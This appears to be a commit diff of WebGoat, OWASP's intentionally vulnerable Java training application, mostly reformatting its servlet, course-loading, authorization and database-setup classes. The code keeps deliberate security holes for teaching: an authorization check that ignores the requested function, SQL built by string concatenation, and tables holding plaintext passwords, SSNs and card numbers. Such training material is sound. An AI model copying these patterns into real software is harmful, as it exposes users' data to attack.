ElementContainer ec = new ElementContainer();
ec.addElement(new Center(
new H1("You are logged on as an administrator")));
ec.addElement(new Center(new H1("You are logged on as an administrator")));
ec.addElement(super.createContent(s));
return (ec);
}
/**
* Gets the title attribute of the WelcomeAdminScreen object
*

View File

@ -1 +1 @@
package org.owasp.webgoat.servlets; import java.io.IOException; import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; /******************************************************************************* * * * This file is part of WebGoat, an Open Web Application Security Project * utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2007 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under * the terms of the GNU General Public License as published by the Free Software * Foundation; either version 2 of the License, or (at your option) any later * version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * details. * * You should have received a copy of the GNU General Public License along with * this program; if not, write to the Free Software Foundation, Inc., 59 Temple * Place - Suite 330, Boston, MA 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at code.google.com, a repository * for free software projects. * * For details, please see http://code.google.com/p/webgoat/ */ public class Controller extends HttpServlet { private static final long serialVersionUID = 1L; protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { doPost(request, response); } protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String userAgent = request.getHeader("user-agent"); String clientBrowser = "Not known!"; if (userAgent != null) { clientBrowser = userAgent; } request.setAttribute("client.browser", clientBrowser); request.getRequestDispatcher("/view.jsp").forward(request, response); } }
package org.owasp.webgoat.servlets; import java.io.IOException; import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; /*************************************************************************************************** * * * This file is part of WebGoat, an Open Web Application Security Project utility. For details, * please see http://www.owasp.org/ * * Copyright (c) 2002 - 2007 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at code.google.com, a repository for free software * projects. * * For details, please see http://code.google.com/p/webgoat/ */ public class Controller extends HttpServlet { private static final long serialVersionUID = 1L; protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { doPost(request, response); } protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String userAgent = request.getHeader("user-agent"); String clientBrowser = "Not known!"; if (userAgent != null) { clientBrowser = userAgent; } request.setAttribute("client.browser", clientBrowser); request.getRequestDispatcher("/view.jsp").forward(request, response); } }

View File

@ -1,34 +1,34 @@
package org.owasp.webgoat.session;
import java.util.Hashtable;
import java.util.Map;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
@ -37,17 +37,15 @@ public class Authorization
Map<Integer, Integer> permissions = new Hashtable<Integer, Integer>();
public Authorization()
{}
{
}
public void setPermission(int userId, int functionId)
{
permissions.put(new Integer(userId), new Integer(functionId));
}
public boolean isAllowed(int userId, int functionId)
{
return (permissions.get(new Integer(userId)) != null);

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.session;
import java.io.File;
@ -9,39 +10,36 @@ import java.util.List;
import java.util.Set;
import java.util.Vector;
import java.util.LinkedList;
import javax.servlet.ServletContext;
import org.owasp.webgoat.HammerHead;
import org.owasp.webgoat.lessons.AbstractLesson;
import org.owasp.webgoat.lessons.Category;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
@ -66,8 +64,7 @@ public class Course
try
{
properties = new WebgoatProperties(PROPERTIES_FILENAME);
}
catch (IOException e)
} catch (IOException e)
{
System.out.println("Error loading WebGoat properties");
e.printStackTrace();
@ -86,12 +83,12 @@ public class Course
{
String fileName = new File(s).getName();
if(fileName.indexOf("/") != -1)
if (fileName.indexOf("/") != -1)
{
fileName = fileName.substring(fileName.lastIndexOf("/"), fileName.length());
}
if(fileName.indexOf(".") != -1)
if (fileName.indexOf(".") != -1)
{
fileName = fileName.substring(0, fileName.indexOf("."));
}
@ -117,12 +114,13 @@ public class Course
return sb.toString();
}
/**
* Takes a file name and builds the class file name
*
* @param fileName Description of the Parameter
* @param path Description of the Parameter
* @param fileName
* Description of the Parameter
* @param path
* Description of the Parameter
* @return Description of the Return Value
*/
private static String getClassFile(String fileName, String path)
@ -131,13 +129,9 @@ public class Course
fileName = fileName.trim();
/**
* We do not handle directories.
* We do not handle files with different extensions
* We do not handle directories. We do not handle files with different extensions
*/
if(fileName.endsWith("/") || !fileName.endsWith(ext))
{
return null;
}
if (fileName.endsWith("/") || !fileName.endsWith(ext)) { return null; }
// if the file is in /WEB-INF/classes strip the dir info off
int index = fileName.indexOf("/WEB-INF/classes/");
@ -181,7 +175,6 @@ public class Course
return categories;
}
/**
* Gets the firstLesson attribute of the Course object
*
@ -193,16 +186,16 @@ public class Course
roles.add(AbstractLesson.USER_ROLE);
// Category 0 is the admin function. We want the first real category
// to be returned. This is noramally the General category and the Http Basics lesson
return ((AbstractLesson) getLessons((Category) getCategories().get(1),
roles).get(0));
return ((AbstractLesson) getLessons((Category) getCategories().get(1), roles).get(0));
}
/**
* Gets the lesson attribute of the Course object
*
* @param lessonId Description of the Parameter
* @param role Description of the Parameter
* @param lessonId
* Description of the Parameter
* @param role
* Description of the Parameter
* @return The lesson value
*/
public AbstractLesson getLesson(WebSession s, int lessonId, List<String> roles)
@ -211,25 +204,20 @@ public class Course
{
roles.add(AbstractLesson.HACKED_ADMIN_ROLE);
}
//System.out.println("getLesson() with roles: " + roles);
// System.out.println("getLesson() with roles: " + roles);
Iterator<AbstractLesson> iter = lessons.iterator();
while (iter.hasNext())
{
AbstractLesson lesson = iter.next();
//System.out.println("getLesson() at role: " + lesson.getRole());
if (lesson.getScreenId() == lessonId
&& roles.contains(lesson.getRole()))
{
return lesson;
}
// System.out.println("getLesson() at role: " + lesson.getRole());
if (lesson.getScreenId() == lessonId && roles.contains(lesson.getRole())) { return lesson; }
}
return null;
}
public AbstractLesson getLesson(WebSession s, int lessonId, String role)
{
List<String> roles = new Vector<String>();
@ -237,7 +225,6 @@ public class Course
return getLesson(s, lessonId, roles);
}
public List getLessons(WebSession s, String role)
{
List<String> roles = new Vector<String>();
@ -245,11 +232,11 @@ public class Course
return getLessons(s, roles);
}
/**
* Gets the lessons attribute of the Course object
*
* @param role Description of the Parameter
* @param role
* Description of the Parameter
* @return The lessons value
*/
public List<AbstractLesson> getLessons(WebSession s, List<String> roles)
@ -263,18 +250,18 @@ public class Course
while (categoryIter.hasNext())
{
lessonList.addAll(getLessons(s, (Category) categoryIter.next(),
roles));
lessonList.addAll(getLessons(s, (Category) categoryIter.next(), roles));
}
return lessonList;
}
/**
* Gets the lessons attribute of the Course object
*
* @param category Description of the Parameter
* @param role Description of the Parameter
* @param category
* Description of the Parameter
* @param role
* Description of the Parameter
* @return The lessons value
*/
private List<AbstractLesson> getLessons(Category category, List roles)
@ -286,8 +273,7 @@ public class Course
{
AbstractLesson lesson = (AbstractLesson) iter.next();
if (lesson.getCategory().equals(category)
&& roles.contains(lesson.getRole()))
if (lesson.getCategory().equals(category) && roles.contains(lesson.getRole()))
{
lessonList.add(lesson);
}
@ -298,7 +284,6 @@ public class Course
return lessonList;
}
public List getLessons(WebSession s, Category category, String role)
{
List<String> roles = new Vector<String>();
@ -306,7 +291,6 @@ public class Course
return getLessons(s, category, roles);
}
public List<AbstractLesson> getLessons(WebSession s, Category category, List<String> roles)
{
if (s.isHackedAdmin())
@ -327,11 +311,11 @@ public class Course
Set resourcePaths = context.getResourcePaths(path);
Iterator itr = resourcePaths.iterator();
while(itr.hasNext())
while (itr.hasNext())
{
String file = (String)itr.next();
String file = (String) itr.next();
if(file.length() != 1 && file.endsWith("/"))
if (file.length() != 1 && file.endsWith("/"))
{
loadFiles(context, file);
}
@ -351,34 +335,33 @@ public class Course
{
Iterator itr = files.iterator();
while(itr.hasNext())
while (itr.hasNext())
{
String file = (String)itr.next();
String file = (String) itr.next();
String className = getClassFile(file, path);
if(className != null && !className.endsWith("_i"))
if (className != null && !className.endsWith("_i"))
{
try
{
Class c = Class.forName(className);
Object o = c.newInstance();
if(o instanceof AbstractLesson)
if (o instanceof AbstractLesson)
{
AbstractLesson lesson = (AbstractLesson)o;
AbstractLesson lesson = (AbstractLesson) o;
lesson.setWebgoatContext(webgoatContext);
lesson.update(properties);
if(lesson.getHidden() == false)
if (lesson.getHidden() == false)
{
lessons.add(lesson);
}
}
}
catch (Exception e)
} catch (Exception e)
{
//System.out.println("Warning: " + e.getMessage());
// System.out.println("Warning: " + e.getMessage());
}
}
}
@ -391,36 +374,42 @@ public class Course
{
Iterator lessonItr = lessons.iterator();
while(lessonItr.hasNext())
while (lessonItr.hasNext())
{
AbstractLesson lesson = (AbstractLesson)lessonItr.next();
AbstractLesson lesson = (AbstractLesson) lessonItr.next();
String className = lesson.getClass().getName();
String classFile = getSourceFile(className);
Iterator fileItr = files.iterator();
while(fileItr.hasNext())
while (fileItr.hasNext())
{
String absoluteFile = (String)fileItr.next();
String absoluteFile = (String) fileItr.next();
String fileName = getFileName(absoluteFile);
//System.out.println("Course: looking at file: " + absoluteFile);
// System.out.println("Course: looking at file: " + absoluteFile);
if(absoluteFile.endsWith(classFile))
if (absoluteFile.endsWith(classFile))
{
//System.out.println("Set source file for " + classFile);
// System.out.println("Set source file for " + classFile);
lesson.setSourceFileName(absoluteFile);
}
if(absoluteFile.startsWith("/lesson_plans") && absoluteFile.endsWith(".html") && className.endsWith(fileName))
if (absoluteFile.startsWith("/lesson_plans") && absoluteFile.endsWith(".html")
&& className.endsWith(fileName))
{
//System.out.println("DEBUG: setting lesson plan file " + absoluteFile + " for lesson " + lesson.getClass().getName());
//System.out.println("fileName: " + fileName + " == className: " + className );
// System.out.println("DEBUG: setting lesson plan file " + absoluteFile + " for
// lesson " +
// lesson.getClass().getName());
// System.out.println("fileName: " + fileName + " == className: " + className );
lesson.setLessonPlanFileName(absoluteFile);
}
if(absoluteFile.startsWith("/lesson_solutions") && absoluteFile.endsWith(".html") && className.endsWith(fileName))
if (absoluteFile.startsWith("/lesson_solutions") && absoluteFile.endsWith(".html")
&& className.endsWith(fileName))
{
//System.out.println("DEBUG: setting lesson solution file " + absoluteFile + " for lesson " + lesson.getClass().getName());
//System.out.println("fileName: " + fileName + " == className: " + className );
// System.out.println("DEBUG: setting lesson solution file " + absoluteFile + "
// for lesson " +
// lesson.getClass().getName());
// System.out.println("fileName: " + fileName + " == className: " + className );
lesson.setLessonSolutionFileName(absoluteFile);
}
}
@ -430,8 +419,10 @@ public class Course
/**
* Description of the Method
*
* @param path Description of the Parameter
* @param context Description of the Parameter
* @param path
* Description of the Parameter
* @param context
* Description of the Parameter
*/
public void loadCourses(WebgoatContext webgoatContext, ServletContext context, String path)
{

View File

@ -1,37 +1,36 @@
package org.owasp.webgoat.session;
import java.sql.Connection;
import java.sql.SQLException;
import java.sql.Statement;
import org.owasp.webgoat.lessons.AbstractLesson;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
@ -43,9 +42,11 @@ public class CreateDB
/**
* Description of the Method
*
* @param connection Description of the Parameter
* @param connection
* Description of the Parameter
*
* @exception SQLException Description of the Exception
* @exception SQLException
* Description of the Exception
*/
private void createMessageTable(Connection connection) throws SQLException
{
@ -56,8 +57,7 @@ public class CreateDB
{
String dropTable = "DROP TABLE messages";
statement.executeUpdate(dropTable);
}
catch (SQLException e)
} catch (SQLException e)
{
System.out.println("Error dropping message database");
}
@ -65,26 +65,24 @@ public class CreateDB
// Create the new table
try
{
String createTableStatement = "CREATE TABLE messages ("
+ "num int not null," + "title varchar(50),"
+ "message varchar(200),"
+ "user_name varchar(50) not null " + ")";
String createTableStatement = "CREATE TABLE messages (" + "num int not null," + "title varchar(50),"
+ "message varchar(200)," + "user_name varchar(50) not null " + ")";
statement.executeUpdate(createTableStatement);
}
catch (SQLException e)
} catch (SQLException e)
{
System.out.println("Error creating message database");
e.printStackTrace();
}
}
/**
* Description of the Method
*
* @param connection Description of the Parameter
* @param connection
* Description of the Parameter
*
* @exception SQLException Description of the Exception
* @exception SQLException
* Description of the Exception
*/
private void createProductTable(Connection connection) throws SQLException
{
@ -95,8 +93,7 @@ public class CreateDB
{
String dropTable = "DROP TABLE product_system_data";
statement.executeUpdate(dropTable);
}
catch (SQLException e)
} catch (SQLException e)
{
System.out.println("Error dropping product database");
}
@ -105,11 +102,10 @@ public class CreateDB
try
{
String createTableStatement = "CREATE TABLE product_system_data ("
+ "productid varchar(6) not null primary key,"
+ "product_name varchar(20)," + "price varchar(10)" + ")";
+ "productid varchar(6) not null primary key," + "product_name varchar(20)," + "price varchar(10)"
+ ")";
statement.executeUpdate(createTableStatement);
}
catch (SQLException e)
} catch (SQLException e)
{
System.out.println("Error creating product database");
e.printStackTrace();
@ -128,16 +124,16 @@ public class CreateDB
statement.executeUpdate(insertData5);
}
/**
* Description of the Method
*
* @param connection Description of the Parameter
* @param connection
* Description of the Parameter
*
* @exception SQLException Description of the Exception
* @exception SQLException
* Description of the Exception
*/
private void createUserAdminTable(Connection connection)
throws SQLException
private void createUserAdminTable(Connection connection) throws SQLException
{
Statement statement = connection.createStatement();
@ -146,8 +142,7 @@ public class CreateDB
{
String dropTable = "DROP TABLE user_system_data";
statement.executeUpdate(dropTable);
}
catch (SQLException e)
} catch (SQLException e)
{
System.out.println("Error dropping user admin database");
}
@ -155,13 +150,10 @@ public class CreateDB
// Create the new table
try
{
String createTableStatement = "CREATE TABLE user_system_data ("
+ "userid varchar(5) not null primary key,"
+ "user_name varchar(12)," + "password varchar(10),"
+ "cookie varchar(30)" + ")";
String createTableStatement = "CREATE TABLE user_system_data (" + "userid varchar(5) not null primary key,"
+ "user_name varchar(12)," + "password varchar(10)," + "cookie varchar(30)" + ")";
statement.executeUpdate(createTableStatement);
}
catch (SQLException e)
} catch (SQLException e)
{
System.out.println("Error creating user admin database");
e.printStackTrace();
@ -180,13 +172,14 @@ public class CreateDB
statement.executeUpdate(insertData5);
}
/**
* Description of the Method
*
* @param connection Description of the Parameter
* @param connection
* Description of the Parameter
*
* @exception SQLException Description of the Exception
* @exception SQLException
* Description of the Exception
*/
private void createUserDataTable(Connection connection) throws SQLException
{
@ -197,8 +190,7 @@ public class CreateDB
{
String dropTable = "DROP TABLE user_data";
statement.executeUpdate(dropTable);
}
catch (SQLException e)
} catch (SQLException e)
{
System.out.println("Error dropping user database");
}
@ -206,14 +198,11 @@ public class CreateDB
// Create the new table
try
{
String createTableStatement = "CREATE TABLE user_data ("
+ "userid int not null," + "first_name varchar(20),"
+ "last_name varchar(20)," + "cc_number varchar(30),"
+ "cc_type varchar(10)," + "cookie varchar(20),"
+ "login_count int" + ")";
String createTableStatement = "CREATE TABLE user_data (" + "userid int not null,"
+ "first_name varchar(20)," + "last_name varchar(20)," + "cc_number varchar(30),"
+ "cc_type varchar(10)," + "cookie varchar(20)," + "login_count int" + ")";
statement.executeUpdate(createTableStatement);
}
catch (SQLException e)
} catch (SQLException e)
{
System.out.println("Error creating user database");
e.printStackTrace();
@ -248,7 +237,6 @@ public class CreateDB
statement.executeUpdate(insertData13);
}
private void createLoginTable(Connection connection) throws SQLException
{
Statement statement = connection.createStatement();
@ -258,8 +246,7 @@ public class CreateDB
{
String dropTable = "DROP TABLE user_login";
statement.executeUpdate(dropTable);
}
catch (SQLException e)
} catch (SQLException e)
{
System.out.println("Error dropping user_login table");
}
@ -267,11 +254,10 @@ public class CreateDB
// Create the new table
try
{
String createTableStatement = "CREATE TABLE user_login ("
+ "userid varchar(5)," + "webgoat_user varchar(20)" + ")";
String createTableStatement = "CREATE TABLE user_login (" + "userid varchar(5),"
+ "webgoat_user varchar(20)" + ")";
statement.executeUpdate(createTableStatement);
}
catch (SQLException e)
} catch (SQLException e)
{
System.out.println("Error creating user database");
e.printStackTrace();
@ -279,16 +265,16 @@ public class CreateDB
}
/**
* Description of the Method
*
* @param connection Description of the Parameter
* @param connection
* Description of the Parameter
*
* @exception SQLException Description of the Exception
* @exception SQLException
* Description of the Exception
*/
private void createWeatherDataTable(Connection connection)
throws SQLException
private void createWeatherDataTable(Connection connection) throws SQLException
{
Statement statement = connection.createStatement();
@ -297,8 +283,7 @@ public class CreateDB
{
String dropTable = "DROP TABLE weather_data";
statement.executeUpdate(dropTable);
}
catch (SQLException e)
} catch (SQLException e)
{
System.out.println("Error dropping weather database");
}
@ -306,13 +291,11 @@ public class CreateDB
// Create the new table
try
{
String createTableStatement = "CREATE TABLE weather_data ("
+ "station int not null," + "name varchar(20) not null,"
+ "state char(2) not null," + "min_temp int not null,"
String createTableStatement = "CREATE TABLE weather_data (" + "station int not null,"
+ "name varchar(20) not null," + "state char(2) not null," + "min_temp int not null,"
+ "max_temp int not null" + ")";
statement.executeUpdate(createTableStatement);
}
catch (SQLException e)
} catch (SQLException e)
{
System.out.println("Error creating weather database");
e.printStackTrace();
@ -333,17 +316,16 @@ public class CreateDB
statement.executeUpdate(insertData6);
}
//--------------------------------------------------------------------------
//--------------------------------------------------------------------------
// --------------------------------------------------------------------------
// --------------------------------------------------------------------------
//
// The tables below are for WebGoat Financials
//
// DO NOT MODIFY THESE TABLES - unless you change the org chart
// and access control matrix documents
//
//--------------------------------------------------------------------------
//--------------------------------------------------------------------------
// --------------------------------------------------------------------------
// --------------------------------------------------------------------------
private void createEmployeeTable(Connection connection) throws SQLException
{
@ -353,8 +335,7 @@ public class CreateDB
{
String dropTable = "DROP TABLE employee";
statement.executeUpdate(dropTable);
}
catch (SQLException e)
} catch (SQLException e)
{
System.out.println("Error: unable to drop employee table");
}
@ -363,24 +344,22 @@ public class CreateDB
try
{
String createTable = "CREATE TABLE employee ("
//+ "userid INT GENERATED ALWAYS AS IDENTITY PRIMARY KEY,"
+ "userid INT NOT NULL PRIMARY KEY,"
+ "first_name VARCHAR(20)," + "last_name VARCHAR(20),"
+ "ssn VARCHAR(12)," + "password VARCHAR(10),"
+ "title VARCHAR(20)," + "phone VARCHAR(13),"
+ "address1 VARCHAR(80)," + "address2 VARCHAR(80),"
+ "manager INT," + "start_date CHAR(8)," + "salary INT,"
+ "ccn VARCHAR(30)," + "ccn_limit INT,"
+ "email VARCHAR(30)," // reason for the recent write-up
// + "userid INT GENERATED ALWAYS AS IDENTITY PRIMARY KEY,"
+ "userid INT NOT NULL PRIMARY KEY," + "first_name VARCHAR(20)," + "last_name VARCHAR(20),"
+ "ssn VARCHAR(12)," + "password VARCHAR(10)," + "title VARCHAR(20)," + "phone VARCHAR(13),"
+ "address1 VARCHAR(80)," + "address2 VARCHAR(80)," + "manager INT," + "start_date CHAR(8),"
+ "salary INT," + "ccn VARCHAR(30)," + "ccn_limit INT," + "email VARCHAR(30)," // reason
// for
// the
// recent write-up
+ "disciplined_date CHAR(8)," // date of write up, NA otherwise
+ "disciplined_notes VARCHAR(60)," // reason for the recent write-up
+ "personal_description VARCHAR(60)" // We can be rude here
//+ ",CONSTRAINT fl UNIQUE NONCLUSTERED (first_name, last_name)"
// + ",CONSTRAINT fl UNIQUE NONCLUSTERED (first_name, last_name)"
+ ")";
statement.executeUpdate(createTable);
}
catch (SQLException e)
} catch (SQLException e)
{
System.out.println("Error: unable to create employee table");
}
@ -447,7 +426,6 @@ public class CreateDB
}
private void createRolesTable(Connection connection) throws SQLException
{
Statement statement = connection.createStatement();
@ -456,21 +434,18 @@ public class CreateDB
{
String dropTable = "DROP TABLE roles";
statement.executeUpdate(dropTable);
}
catch (SQLException e)
} catch (SQLException e)
{
System.out.println("Error: unable to drop roles");
}
try
{
String createTable = "CREATE TABLE roles ("
+ "userid INT NOT NULL," + "role VARCHAR(10) NOT NULL,"
String createTable = "CREATE TABLE roles (" + "userid INT NOT NULL," + "role VARCHAR(10) NOT NULL,"
+ "PRIMARY KEY (userid, role)" + ")";
statement.executeUpdate(createTable);
}
catch (SQLException e)
} catch (SQLException e)
{
System.out.println("Error: Unable to create role table");
}
@ -502,7 +477,6 @@ public class CreateDB
statement.executeUpdate(insertData12);
}
private void createAuthTable(Connection connection) throws SQLException
{
Statement statement = connection.createStatement();
@ -511,22 +485,18 @@ public class CreateDB
{
String dropTable = "DROP TABLE auth";
statement.executeUpdate(dropTable);
}
catch (SQLException e)
} catch (SQLException e)
{
System.out.println("Error: unable to drop auth");
}
try
{
String createTable = "CREATE TABLE auth ("
+ "role VARCHAR(10) NOT NULL,"
+ "functionid VARCHAR(20) NOT NULL,"
+ "PRIMARY KEY (role, functionid)" + ")";
String createTable = "CREATE TABLE auth (" + "role VARCHAR(10) NOT NULL,"
+ "functionid VARCHAR(20) NOT NULL," + "PRIMARY KEY (role, functionid)" + ")";
statement.executeUpdate(createTable);
}
catch (SQLException e)
} catch (SQLException e)
{
System.out.println("Error: unable to create auth table");
}
@ -567,16 +537,13 @@ public class CreateDB
// Add a permission for the webgoat role to see the source.
// The challenge(s) will change the default role to "challenge"
String insertData26 = "INSERT INTO auth VALUES('"
+ AbstractLesson.USER_ROLE + "','" + WebSession.SHOWSOURCE
String insertData26 = "INSERT INTO auth VALUES('" + AbstractLesson.USER_ROLE + "','" + WebSession.SHOWSOURCE
+ "')";
String insertData27 = "INSERT INTO auth VALUES('"
+ AbstractLesson.USER_ROLE + "','" + WebSession.SHOWHINTS
String insertData27 = "INSERT INTO auth VALUES('" + AbstractLesson.USER_ROLE + "','" + WebSession.SHOWHINTS
+ "')";
// Add a permission for the webgoat role to see the solution.
// The challenge(s) will change the default role to "challenge"
String insertData28 = "INSERT INTO auth VALUES('"
+ AbstractLesson.USER_ROLE + "','" + WebSession.SHOWSOLUTION
String insertData28 = "INSERT INTO auth VALUES('" + AbstractLesson.USER_ROLE + "','" + WebSession.SHOWSOLUTION
+ "')";
statement.executeUpdate(insertData1);
@ -617,9 +584,7 @@ public class CreateDB
statement.executeUpdate(insertData28);
}
private void createOwnershipTable(Connection connection)
throws SQLException
private void createOwnershipTable(Connection connection) throws SQLException
{
Statement statement = connection.createStatement();
@ -627,21 +592,18 @@ public class CreateDB
{
String dropTable = "DROP TABLE ownership";
statement.executeUpdate(dropTable);
}
catch (SQLException e)
} catch (SQLException e)
{
System.out.println("Error: unable to drop ownership");
}
try
{
String createTable = "CREATE TABLE ownership ("
+ "employer_id INT NOT NULL," + "employee_id INT NOT NULL,"
String createTable = "CREATE TABLE ownership (" + "employer_id INT NOT NULL," + "employee_id INT NOT NULL,"
+ "PRIMARY KEY (employee_id, employer_id)" + ")";
statement.executeUpdate(createTable);
}
catch (SQLException e)
} catch (SQLException e)
{
System.out.println("Error: unable to create ownership table");
}
@ -756,19 +718,20 @@ public class CreateDB
}
//--------------------------------------------------------------------------
// --------------------------------------------------------------------------
//
// End of WebGoat Financials
//
//--------------------------------------------------------------------------
// --------------------------------------------------------------------------
/**
* Description of the Method
*
* @param connection Description of the Parameter
* @param connection
* Description of the Parameter
*
* @exception SQLException Description of the Exception
* @exception SQLException
* Description of the Exception
*/
public void makeDB(Connection connection) throws SQLException
{

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.session;
import java.io.IOException;
@ -8,39 +9,37 @@ import java.sql.ResultSetMetaData;
import java.sql.SQLException;
import java.util.HashMap;
import java.util.Map;
import org.apache.ecs.MultiPartElement;
import org.apache.ecs.html.B;
import org.apache.ecs.html.TD;
import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
@ -52,8 +51,7 @@ public class DatabaseUtilities
private static Map<String, Connection> connections = new HashMap<String, Connection>();
private static Map<String, Boolean> dbBuilt = new HashMap<String, Boolean>();
public static Connection getConnection(WebSession s)
throws ClassNotFoundException, SQLException
